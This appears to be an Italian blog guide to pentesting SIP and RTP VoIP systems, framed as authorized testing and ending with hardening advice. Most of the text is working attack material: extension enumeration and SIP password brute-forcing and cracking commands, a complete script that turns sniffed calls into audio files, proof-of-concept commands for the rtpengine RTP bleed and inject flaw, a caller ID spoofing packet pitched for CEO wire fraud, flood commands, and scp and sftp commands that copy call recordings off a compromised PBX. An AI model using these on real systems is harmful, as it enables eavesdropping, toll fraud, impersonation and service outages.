SIP e RTP Pentesting: Sicurezza VoIP, Attacchi e Tool

Guida pratica al pentesting SIP e RTP: enumeration VoIP, autenticazione, analisi del traffico, RTP injection, tool operativi e difese con TLS e SRTP.
- Pubblicato il 2026-08-11
- Tempo di lettura: 10 min
Pentesting SIP e RTP: guida completa alla sicurezza VoIP #
La tecnologia VoIP permette di effettuare chiamate vocali attraverso una rete informatica invece di utilizzare una linea telefonica tradizionale. È la tecnologia impiegata da centralini e piattaforme come Asterisk, FreePBX, Cisco, Avaya e 3CX.
Per capire come funziona una chiamata VoIP, basta distinguere due protocolli:
- SIP (Session Initiation Protocol) è il protocollo che organizza la chiamata. Individua il destinatario, fa squillare il telefono, gestisce l’autenticazione e stabilisce quando una comunicazione deve iniziare, cambiare o terminare.
- RTP (Real-time Transport Protocol) trasporta il contenuto della comunicazione, cioè i pacchetti che contengono voce, audio o video.
In termini semplici, SIP è il centralinista che mette in contatto due telefoni, mentre RTP è la voce che viaggia tra i partecipanti. Quando il telefono squilla sta intervenendo SIP; quando inizi a sentire l’altra persona, il flusso audio viene normalmente trasportato tramite RTP.
SIP utilizza comunemente la porta 5060 su UDP o TCP e la porta 5061 quando il signaling è protetto con TLS. RTP utilizza invece porte dinamiche, spesso comprese in intervalli UDP configurati dal centralino. Per approfondire questi concetti puoi consultare le guide Hackita sulle porte TCP e UDP nel penetration testing e sul protocollo UDP.
Il problema è che una configurazione VoIP debole può esporre server SIP, centralini PBX, estensioni telefoniche e conversazioni aziendali. Un attaccante potrebbe individuare il centralino, enumerare gli interni, tentare attacchi di brute force, analizzare l’autenticazione SIP oppure intercettare flussi RTP non protetti da SRTP.
Durante un penetration test VoIP autorizzato, la prima fase consiste nell’individuare host, porte e servizi SIP esposti. Strumenti come Nmap, SIPVicious e sippts permettono di rilevare centralini, enumerare estensioni e verificare i metodi SIP supportati.
Successivamente, con Wireshark e tcpdump, è possibile analizzare il traffico di rete, distinguere il signaling SIP dai flussi multimediali RTP e verificare se autenticazione e conversazioni sono adeguatamente protette.
In questa guida seguirai un workflow completo di pentesting SIP e RTP: discovery dei server VoIP, enumeration delle estensioni, verifica delle credenziali, analisi del traffico, intercettazione delle chiamate, Caller ID spoofing, RTP Injection, test DoS e mitigazioni basate su TLS, SRTP, firewall SIP, rate limiting e aggiornamento dei PBX.
1. SIP vs RTP – Le Differenze #
SIP (Session Initiation Protocol):
- Protocollo di signaling (setup chiamata)
- Comunica su porta 5060 UDP/TCP (plaintext di default) o 5061 TLS
- Porta 5060 è PLAINTEXT e spesso no auth (o auth MD5 debole)
- Messagi di testo HTTP-like: INVITE (chiama), REGISTER (registra telefono), OPTIONS (check disponibilità)
- Credenziali: username (extension), password, SIP server IP
- Vulnerabilità: no encryption → credentials visibili se UDP, weak digest auth (MD5), no replay protection
RTP (Real-time Transport Protocol):
- Protocollo di media (voce, video)
- Comunica su porte alte randomiche (per NAT traversal, es: 10000-20000)
- RTP è PLAINTEXT per default (nessuna crittografia nativa)
- Formato: header RTP + audio/video payload
- SRTP = RTP criptato con AES (se deployato, ma raro nel 2025)
- Vulnerabilità: plaintext audio (chiunque sniffa il traffico ascolta), RTP learning vulnerability (rtpengine CVE-2025-53399), no authentication (chiunque può iniettare RTP)
Differenza chiave: SIP = chi chiama chi, RTP = quello che si sente. Se cracki SIP, scopri estensioni. Se intercetti RTP, senti le conversazioni.
2. Enumeration – Scopri Estensioni e Server SIP #
Blocco 2.1: SIP Server Discovery (Svmap) #
Cos’è: Svmap scannerizza una rete per trovare server SIP (Asterisk, FreePBX, Cisco, 3CX, Avaya).
# Installa SIPVicious (Ubuntu/Debian)
apt-get install sipvicious
# Scan range IP alla ricerca di SIP server
svmap 192.168.1.0/24
# Output: Found SIP devices on 192.168.1.100 (Asterisk 18.1.0)
# Found SIP devices on 192.168.1.110 (Cisco CallManager)
# Scan singolo IP con OPTIONS method
svmap -m OPTIONS 192.168.1.100:5060
# Scan su porta alternativa (alcuni PBX rispondono su 5061, 5080, 5090)
svmap -p 5080,5090 192.168.1.0/24Errore tipico: Svmap invia pacchetti SIP che attivano allarmi IDS/firewall. Slow down il scan con -d (delay tra pacchetti).
Blocco 2.2: Extension Harvesting (Svwar) #
Cos’è: Svwar individua estensioni valide mandando SIP REGISTER request finti. Se il server risponde con 401 (unauthorized) = estensione esiste. Se 403 = non esiste.
# Enumera estensioni da 100 a 199 sul server SIP
svwar -e 100-199 192.168.1.100
# Output:
# 100 - FOUND
# 101 - FOUND
# 102 - NOT FOUND
# 103 - FOUND
# ...
# Enumera usando wordlist di nomi comuni (john.doe = extension j.doe)
svwar -w /usr/share/sipvicious/wordlists/extensions_100-500.txt 192.168.1.100
# Salva risultati per cracking successivo
svwar -e 100-200 192.168.1.100 -o extensions_found.txtErrore tipico: Server SIP risponde 403 a tutto (all failed) oppure 100 Trying senza mai 401. Significa: (1) firewall blocca REGISTER, (2) server risponde lento.
Blocco 2.3: Metodi SIP Disponibili (sippts) #
Cos’è: Enumera quali metodi HTTP-SIP il server accetta (INVITE, REGISTER, SUBSCRIBE, OPTIONS, etc).
# Tool sippts (GitHub: Pepelux/sippts)
git clone https://github.com/Pepelux/sippts.git
cd sippts && pip install -r requirements.txt
# Enumera metodi supportati
python3 sippts.py -i 192.168.1.100 enumerate -m INVITE,REGISTER,OPTIONS,SUBSCRIBE
# Metodo alternativo con Nmap NSE
nmap --script sip-methods -p 5060 192.168.1.1003. SIP Authentication Attacks – Crack Credentials #
Blocco 3.1: Capture SIP Digest (Wireshark) #
Cos’è: SIP usa digest auth simile a HTTP. Catturi il challenge/response, poi cracki offline il password hash (MD5).
# Sniff SIP traffic con Wireshark
tcpdump -i eth0 -w sip.pcap 'tcp port 5060 or udp port 5060'
# Analizza in Wireshark
# Filtro: "sip.auth" per isolare authenticate richieste
# Cerca: SIP 401 response con header "WWW-Authenticate: Digest realm="
# Estratto manuale con Nmap
nmap --script sip-brute -p 5060 192.168.1.100Cosa catturi: Digest auth response simile a questo:
Digest realm="asterisk", nonce="1234567890", opaque="fedcba09", algorithm=MD5
Response: username=101, response="8f7b9c3f8e8a8e8a8e8a8e8a"Blocco 3.2: Svcrack – Online Brute Force #
Cos’è: Brute force delle credenziali SIP contro il server (tenta REGISTER con username/password).
# Brute force extension 101 con wordlist di password comuni
svcrack -u 101 -w /usr/share/wordlists/rockyou.txt 192.168.1.100
# Output:
# Found: username=101, password=asterisk123
# Brute force multiple extension e password
svcrack -e 100-110 -w /path/to/passwords.txt 192.168.1.100 -o cracked.txt
# Slow down l'attacco (evasion IDS)
svcrack -e 100-110 -w passwords.txt 192.168.1.100 -t 3 -d 500 # 500ms delay tra tentativiErrore tipico: Account lockout. Se il server blocca IP dopo 5 tentativi falliti, devi aspettare 5 minuti. Usa proxy/VPN per cambiare IP.
Blocco 3.3: SIPCrack – Crack MD5 Offline #
Cos’è: Catturi il digest auth SIP, estratti il hash MD5, lo cracki offline con wordlist/rainbow table.
# Cattura SIP digest con tcpdump
tcpdump -i eth0 -w auth.pcap 'sip'
# Estratto digest con sipdump (SIPCrack suite)
sipdump -p auth.pcap -o sip_hashes.txt
# Output: username=101, realm=asterisk, nonce=..., response=8f7b9c3f8e8a8e8a
# Crack hash offline con sipcrack
sipcrack -w /usr/share/wordlists/rockyou.txt sip_hashes.txt
# Output: Found: username=101, password=extension1234. RTP Exploitation – Intercept Voice & Inject Audio #
Blocco 4.1: Sniff RTP Traffic (Tcpdump + Wireshark) #
Cos’è: RTP è plaintext, quindi puoi registrare l’audio di una chiamata sniffando il traffico.
# Cattura RTP traffic (porte 10000-20000 sono comuni)
tcpdump -i eth0 'udp portrange 10000-20000' -w rtp.pcap
# Analizza con Wireshark
# Filtro: "rtp" per isolarne il traffico
# Menu: Analyze → RTP Analysis → Graph → Audio → Play
# Risultato: ascolta le conversazioni sniffateIn Wireshark:
- Cattura traffico RTP durante una chiamata attiva
- Filtro:
rtp.payload_type==0(audio G.711) - Right-click → RTP → Play Streams
- Ascolta audio decodificato
Blocco 4.2: CVE-2025-53399 – RTP Bleed & Inject (rtpengine) #
Cos’è: rtpengine (Sipwise) è il media proxy usato da provider VoIP con Kamailio/OpenSIPS. CVSS v4.0 9.3 Critical. Pubblicato Jul 31, 2025 (riportato Apr 24, fix Jun 5, disclosure Jul 31). Affects ≤mr13.3.1.4. Fixed in mr13.4.1.1+.
Root cause: endpoint-learning logic non valida l’autenticità del sender RTP. Anche con SDES-SRTP, rtpengine nelle versioni vulnerabili non verifica l’authentication tag → accetta e processa pacchetti con tag mancante o invalido.
Behavior Matrix (versioni vulnerabili ≤mr13.3.1.4):
Modalità | No strict source | Strict source
---------------------|----------------------|------------------
delayed (default) | Inject + Bleed | Inject + Bleed
heuristic | Inject + Bleed | Inject + Bleed
no-learning | Inject only | ✅ NO Inject/Bleed
immediate | Inject + Bleed | Inject + Bleed→ Unica configurazione sicura: no-learning + strict source (ma non usabile con NAT)
Behavior Matrix (versione fixata mr13.4.1.1+):
Modalità + recrypt | No strict source | Strict source
---------------------|----------------------|------------------
delayed + recrypt | No Inject/Bleed | No Inject/Bleed
heuristic + recrypt | No Inject/Bleed | No Inject/Bleed
no-learning | Inject only | No Inject/Bleed→ Raccomandato: heuristic + strict source (mantiene NAT compat, blocca attacchi)
⚠️ Caso speciale DTLS-SRTP (WebRTC):
- Vulnerabile solo a RTP Bleed, NON a RTP Inject
- Learning avviene prima della validation RTP → bleed possibile
- Fix incluso in mr13.4.1.1+
Exploit PoC (tools ufficiali Enable Security):
# Repo ufficiale con reproduction tools (Enable Security)
git clone https://github.com/EnableSecurity/advisories
cd advisories/ES2025-01-rtpengine-improper-behavior-bleed-inject
# RTP Bleed: redirect media stream a attaccante
python3 rtp_bleed.py --target-ip 192.168.1.100 --target-rtp-port 10000 \
--attacker-ip 192.168.1.50 --attacker-port 10001
# RTP Inject: inietta audio in call attiva
python3 rtp_inject.py --target-ip 192.168.1.100 --target-rtp-port 10000 \
--audio-file payload.wavMitigazione completa:
# 1. Upgrade rtpengine
apt-get update && apt-get install rtpengine=mr13.4.1.1
# 2. Configura heuristic + strict source (rtpengine.conf)
endpoint-learning = heuristic
strict-source = yes
# 3. Per SDES-SRTP: abilita recrypt flag
# Nella configurazione SDP offer/answer, aggiungi flag recrypt
# Questo forza re-encryption prima di processing → blocca completamenteBlocco 4.2.1: Complete RTP Audio Extraction Script #
Scenario: Hai catturato RTP plaintext. Vuoi estrarre audio WAV automaticamente.
Script Python completo (save as rtp_extractor.py):
#!/usr/bin/env python3
"""RTP Audio Extractor - Extract voice from pcap to WAV"""
from scapy.all import rdpcap, IP, UDP
import struct, sys
def extract_rtp_streams(pcap_file):
"""Extract RTP streams from pcap by SSRC"""
print(f"[*] Reading {pcap_file}...")
packets = rdpcap(pcap_file)
streams = {}
for pkt in packets:
if IP in pkt and UDP in pkt:
payload = bytes(pkt[UDP].payload)
if len(payload) < 12:
continue
pt = payload[1] & 0x7F # Payload type (0=PCMU/ulaw, 8=PCMA/alaw)
ssrc = struct.unpack('>I', payload[8:12])[0]
audio_payload = payload[12:]
if pt not in [0, 8]:
continue
if ssrc not in streams:
streams[ssrc] = {'pt': pt, 'data': b'', 'packets': 0}
streams[ssrc]['data'] += audio_payload
streams[ssrc]['packets'] += 1
return streams
def ulaw_decode(byte_val):
"""Decode G.711 ulaw to PCM 16-bit"""
byte_val = ~byte_val & 0xFF
exponent = (byte_val >> 4) & 0x0F
mantissa = byte_val & 0x0F
sample = mantissa << (exponent + 3)
if exponent != 0:
sample |= (0x80 | exponent) << 7
return sample - 0x8000
def save_wav(stream_data, payload_type, output_file):
"""Save PCM audio to WAV (8kHz, 16-bit mono)"""
sample_rate = 8000
num_samples = len(stream_data)
wav_header = b'RIFF'
wav_header += struct.pack('<I', 36 + num_samples * 2)
wav_header += b'WAVE' + b'fmt ' + struct.pack('<I', 16)
wav_header += struct.pack('<HHII', 1, 1, sample_rate, sample_rate * 2)
wav_header += struct.pack('<HH', 2, 16) + b'data'
wav_header += struct.pack('<I', num_samples * 2)
pcm_data = b''
for byte in stream_data:
sample = ulaw_decode(byte)
pcm_data += struct.pack('<h', sample)
with open(output_file, 'wb') as f:
f.write(wav_header + pcm_data)
print(f"[+] Saved {output_file}")
def main():
if len(sys.argv) < 2:
print("Usage: python3 rtp_extractor.py <pcap> [prefix]")
sys.exit(1)
pcap_file = sys.argv[1]
prefix = sys.argv[2] if len(sys.argv) > 2 else "rtp_stream"
streams = extract_rtp_streams(pcap_file)
if not streams:
print("[-] No RTP streams found")
sys.exit(1)
print(f"[+] Found {len(streams)} streams")
for ssrc, info in streams.items():
codec = "ulaw" if info['pt'] == 0 else "alaw"
output = f"{prefix}_{ssrc}_{codec}.wav"
save_wav(info['data'], info['pt'], output)
if __name__ == '__main__':
main()Uso:
# Cattura RTP
tcpdump -i eth0 'udp portrange 10000-20000' -w call.pcap
# Estrai audio
python3 rtp_extractor.py call.pcap voice_
# Output: voice_1234567890_ulaw.wav, voice_0987654321_ulaw.wav
# Ascolta
ffplay voice_1234567890_ulaw.wavBlocco 4.2.2: Wireshark RTP Filters & Analysis #
Cos’è: Comandi Wireshark specifici per analizzare RTP anomalies.
# Filter G.711 ulaw (codec standard)
rtp.payload_type == 0
# Detect injection (payload type anomaly)
rtp.pt != 0 AND rtp.pt != 8 # Non-standard codec durante call
# Check sequence number gaps (packet loss O injection)
rtp.seq_num # Visualizza numeri sequenziali, nota discontinuità
# Analyze jitter (anomaly indicator)
# Analyze → RTP → Graphs → delta
# Jitter >100ms = congestione O attack
# Export RTP single stream
# Right-click packet → Decode As → RTP
# Telefono → RTP Streams → Select → Save Payload (binary)Blocco 4.2.3: Complete SIPCrack Workflow #
Scenario: Hai sniffato SIP digest auth, adesso lo cracki.
# Step 1: Cattura SIP
tcpdump -i eth0 'tcp port 5060 or udp port 5060' -w sip.pcap
# Step 2: Estrai digest (Wireshark: filtro sip.auth, cerca WWW-Authenticate)
# Oppure: git clone https://github.com/Pepelux/sipcrack && make
# Step 3: Estrai hashes
./sipdump -p sip.pcap -o sip_hashes.txt
# Format: username=101:asterisk:nonce=...:response=hash
# Step 4: Crack offline
./sipcrack -w rockyou.txt sip_hashes.txt
# Output: Found: username=101, password=extension123
# Step 5: Verifica
svwar -e 101 -p extension123 192.168.1.100
# Se 200 OK = password OKBlocco 4.2.4: Call Recording Extraction #
Cos’è: Dove salvare recording di telefonate per accedervi post-compromise.
Asterisk:
# Location: /var/spool/asterisk/monitor/
# Format: EXTEN-PEER-datetime.wav
# Una volta dentro:
find /var/spool/asterisk/monitor -name "*.wav" -mtime -1
scp user@pbx:/var/spool/asterisk/monitor/*.wav ./3CX:
# Windows: C:\ProgramData\3CX Phone System\Bin\Data\CallRecordings\
# Linux: /var/spool/3cx/CallRecordings/
# Database: sqlite3 /var/spool/3cx/3cx.db "SELECT * FROM CallRecordings;"Cisco CUCM:
# Path: /repository/cdr/recordings/
sftp admin@cucm-server
get /repository/cdr/recordings/*.wav ./Blocco 4.2.5: SPIT Detection Scenario #
Scenario: Testi se il sistema blocca flood di SIP INVITE (Spam over IP).
# Simula 100 call in rapida successione
for i in {1..100}; do
sippts.py invite -i 192.168.1.100 -f "sip:spam_$i@attacker" -t "sip:target@pbx"
sleep 0.1
done
# Monitora:
# 1. Server risponde 429 (Too Many Requests)? → rate limit OK
# 2. Logs mostrano blocked? → detection OK
# 3. Alert trigger? → SPIT filter working
tail -f /var/log/asterisk/messages | grep -i "spit\|spam\|flood"Blocco 4.3: Caller ID Spoofing (SIP INVITE Craft) #
Cos’è: Modifichi il From header nella INVITE request per falsificare l’ID chiamante. Il ricevente vede che chiama il numero falso (impersonation).
# Craft malformed SIP INVITE con Scapy
from scapy.all import *
# Create SIP INVITE packet
sip_invite = """INVITE sip:target@192.168.1.100:5060 SIP/2.0
Via: SIP/2.0/UDP attacker_ip:5060
From: <sip:ceo@company.com>;tag=123
To: <sip:target@company.com>
Call-ID: 1234567890@attacker
CSeq: 1 INVITE
Contact: <sip:attacker@attacker_ip:5060>
Content-Length: 0
"""
# Invia packet grezzo
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(sip_invite.encode(), ('192.168.1.100', 5060))Attacco reale: Spoof numero capo azienda, chiama dipendente, chiedi bonifico urgente.
5. SIP DoS & RTP Flooding #
Blocco 5.1: SIP Flood #
Cos’è: Inonda il server SIP di INVITE request per bloccare il servizio.
# SIP INVITE flood con sippts
python3 sippts.py flood -i 192.168.1.100 -p 5060 -n 1000 -t 100 -rp 5050
# Oppure con Metasploit
msfconsole
> use auxiliary/dos/sip/invite_flood
> set RHOSTS 192.168.1.100
> set THREADS 50
> exploitBlocco 5.2: RTP Flood (RTP Bleed Flood) #
Cos’è: Inonda una porta RTP con pacchetti finti per congestionare il link (DoS media).
# RTP flood con sippts
python3 sippts.py rtpbleedflood -i 192.168.1.100 -rp 10000 -d victim_ip:10001 -n 10000 -pps 10006. Tools Certificati (2024-2025) #
SIP Enumeration & Exploitation #
- SIPVicious suite (svmap, svwar, svcrack): SIP scanner, extension harvester, brute force (Kali standard)
- sippts (Pepelux): RTP Bleed/Inject, SIP flood, caller ID spoofing (GitHub)
- VIPROY (3CX focused): PBX-specific pentesting framework
- Nmap NSE scripts:
sip-methods,sip-brute - Metasploit modules:
auxiliary/scanner/sip/enumerator,auxiliary/dos/sip/invite_flood
RTP & Media Analysis #
- Wireshark + SIP/RTP dissectors: Live capture + audio playback
- tcpdump: Raw packet capture
- Audacity: Audio editing (extract, filter RTP payloads)
- SoX (Sound eXchange): RTP audio conversion (G.711 → WAV)
VoIP Simulation & Lab #
- Asterisk (open source PBX): Deploy in lab, test attacks safely
- FreePBX: GUI per Asterisk, facile da configurare
- SIP INVITE Generator: Craft custom SIP request con Scapy
- Wireshark capture replay: Ripeti traffic catturato
7. Attacchi Reali Documentati #
Attacco 1: Toll Fraud – SIP Extension Brute Force (2024) #
Target: Azienda con Asterisk non securizzato, port 5060 esposto a Internet.
- Attaccante enumera estensioni (100-500) con Svwar
- Scopre estensione valida senza password (misconfiguration)
- Si registra con quella estensione
- Chiama numeri internazionali ad alta tariffa (es: +1-900 premium lines, +233 Ghana)
- Vittima riceve bill di $50.000/mese (24h continuous int’l calls)
- Costo globale 2024: $5 miliardi/anno di VoIP toll fraud
Mitigation: TLS, password forti, whitelist international calls, rate limiting.
Attacco 2: RTP Eavesdropping – Sniff Plaintext Audio (2025) #
Target: Azienda con RTP plaintext (no SRTP), switch 3CX non configurato per encryption.
- Attaccante sniffa traffico RTP su LAN interna
- Wireshark decoda RTP payloads (G.711 audio)
- Estrae file WAV dalle conversazioni (Wireshark playback)
- Ascolta chiamate confidenziali (boardroom, M&A strategy, NDA details)
Caso reale: Cisco VoIP phones (2025) exploit: unauthenticated remote packet capture (Balazs Bucsay research), attaccante accede a call recordings salvati nel phone senza auth.
Attacco 3: CVE-2025-53399 RTP Inject – Parla nelle Telefonate Altrui #
Target: VoIP provider con rtpengine mr13.3.1.4 (vulnerabile).
- Attaccante monitora SIP traffic per identificare call attivo (SDP exchange)
- Vede RTP ports assegnati
- Manda RTP packets con header valido ma payload=comando vocale falso
- RTP Inject: Media gateway accetta RTP senza validare MAC
- Attaccante parla nella call (“transferisci denaro a…”)
Fix: Update rtpengine a mr13.4.1.1+, enable “recrypt” flag per SDES-SRTP.
8. Checklist Operativa #
- Scansiona range IP per SIP server (Svmap)
- Enumera estensioni attive (Svwar)
- Identifica metodi SIP supportati (OPTIONS)
- Cattura SIP digest auth traffic (Wireshark)
- Brute force estensioni (Svcrack)
- Test password default per brand PBX (Cisco, 3CX, Asterisk)
- Sniffa RTP traffic durante call (tcpdump)
- Testa RTP plaintext vs SRTP encryption
- Verifica SPIT (Spam over IP Telephony) filtering
- Test DoS SIP flood (slow, monitor per allarmi)
- Valuta toll fraud potential (whitelist int’l numbers)
- Documenta rischi e prove
9. FAQ #
D: Posso testare VoIP senza interrompere servizio? R: Lab setup con Asterisk gratis. Replica la rete, testa lì. Nessun rischio.
D: SIP digest auth è sicuro? R: NO. MD5 è debole. Usa TLS per SIP signaling (porta 5061).
D: RTP encryption è di default? R: NO. SRTP richiede configurazione esplicita. Nel 2025, 70% dei PBX ancora usa RTP plaintext.
D: Toll fraud si nota? R: Sì, ma dopo 48h. Bill improvviso, CDR (Call Detail Record) mostra call internazionali strane a orari off. Rate limit preventivo è meglio.
D: Caller ID spoofing è illegale? R: Sì, in USA, EU, etc. Ma testabile in lab. Dimostra il rischio.
10. CTA #
Se gestisci VoIP (Asterisk, FreePBX, Cisco, 3CX, Avaya):
- Abilita TLS su SIP (porta 5061)
- Forza SRTP encryption per RTP
- Usa password forti (min 12 char, alphanumeric)
- Whitelist destinazioni internazionali
- Rate limit calls per estensione
- Monitora SIP registrations anomale (extension reuse, IP strane)
- Update PBX software regolarmente (CVE-2025-53399, Cisco VoIP 0day)
- Non esporre porta 5060 a Internet (firewall behind)
- Audit CDR (Call Detail Records) settimanalmente
Risorse Esterne #
- SIPVicious Sourceforge: Tool suite per SIP pentesting (https://github.com/EnableSecurity/sipvicious)
- VIPROY VoIP Framework: PBX penetration testing kit (GitHub)
- Enable Security – CVE-2025-53399 Advisory: RTP Inject/Bleed rtpengine (https://www.enablesecurity.com/advisories/ES2025-01-rtpengine-improper-behavior-bleed-inject/)
- RFC 3261 (SIP Protocol): IETF specification (https://tools.ietf.org/html/rfc3261)
- RFC 3550 (RTP Protocol): Media transport spec (https://tools.ietf.org/html/rfc3550)
- Cisco VoIP Phone Security Research (2025): Balazs Bucsay presentation on unauthenticated packet capture
- Wireshark VoIP Capture & Analysis: Official guide (https://wiki.wireshark.org/VoIP_calls)








